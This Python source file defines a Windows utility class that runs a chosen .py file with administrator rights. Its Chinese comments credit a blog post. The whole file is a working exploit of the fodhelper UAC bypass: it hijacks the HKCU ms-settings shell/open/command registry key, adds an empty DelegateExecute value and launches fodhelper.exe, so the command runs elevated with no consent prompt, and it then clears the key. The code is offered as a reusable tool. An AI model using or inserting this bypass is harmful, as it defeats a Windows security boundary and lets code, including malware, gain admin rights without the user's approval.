# -*- coding: utf-8 -*-
"""
Created on Mon Jan  8 09:09:51 2018

@author: coordinate
"""
from __future__ import print_function
import os
import sys
import ctypes
import time
if sys.version_info[0] == 3:
    import winreg as winreg
else:
    import _winreg as winreg
class adminPermissionUtils:
    """
    该类用于以管理员权限执行py文件
    参考博客：python如果获取windows管理员权限（二）
    实现原理：修改注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command的默认键值，利用fodhelper调用执行
    原文链接： https://blog.csdn.net/qq_17550379/article/details/79006718
    """
    CMD                   = os.path.join(os.environ["SystemRoot"],"System32","cmd.exe")
    FOD_HELPER            = os.path.join(os.environ["SystemRoot"],"System32","fodhelper.exe")#r'C:\Windows\System32\fodhelper.exe'
    PYTHON_CMD            = sys.executable
    REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
    DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
    @staticmethod
    def is_admin():
        '''
        Checks if the script is running with administrative privileges.
        Returns True if is running as admin, False otherwise.
        '''
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False
    @staticmethod
    def create_reg_key(key, value):
        '''
        Creates a reg key
        '''
        try:
            winreg.CreateKey(winreg.HKEY_CURRENT_USER, adminPermissionUtils.REG_PATH)
            registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, adminPermissionUtils.REG_PATH, 0, winreg.KEY_WRITE)
            winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
            winreg.CloseKey(registry_key)
        except WindowsError:
            raise
    @staticmethod
    def bypass_uac(cmd):
        '''
        Tries to bypass the UAC
        '''
        try:
            adminPermissionUtils.create_reg_key(adminPermissionUtils.DELEGATE_EXEC_REG_KEY, '')
            adminPermissionUtils.create_reg_key(None, cmd)
        except WindowsError:
            raise
    @staticmethod
    def clean_reg_key():
        adminPermissionUtils.create_reg_key(None,"")
    @staticmethod
    def AdminExecutor(filename):
        """
        以管理员权限执行filename
        :param filename: 待执行py文件
        :return:
        """
        if not adminPermissionUtils.is_admin():
            # print('[!] The script is NOT running with administrative privileges')
            # print('[+] Trying to bypass the UAC')
            try:
                # current_dir = __file__
                current_dir = filename
                cmd = '{} /c {} {}&&pause'.format(adminPermissionUtils.CMD, adminPermissionUtils.PYTHON_CMD, current_dir)#/k:窗口保持,/c:窗口关闭  ,&& pause临时保持窗口
                adminPermissionUtils.bypass_uac(cmd)
                os.system(adminPermissionUtils.FOD_HELPER)
                adminPermissionUtils.clean_reg_key()
                # sys.exit(0)
            except WindowsError:
                sys.exit(1)

#
# if __name__ == '__main__':
#     filename=""
#     adminPermissionUtils.AdminExecutor(filename)
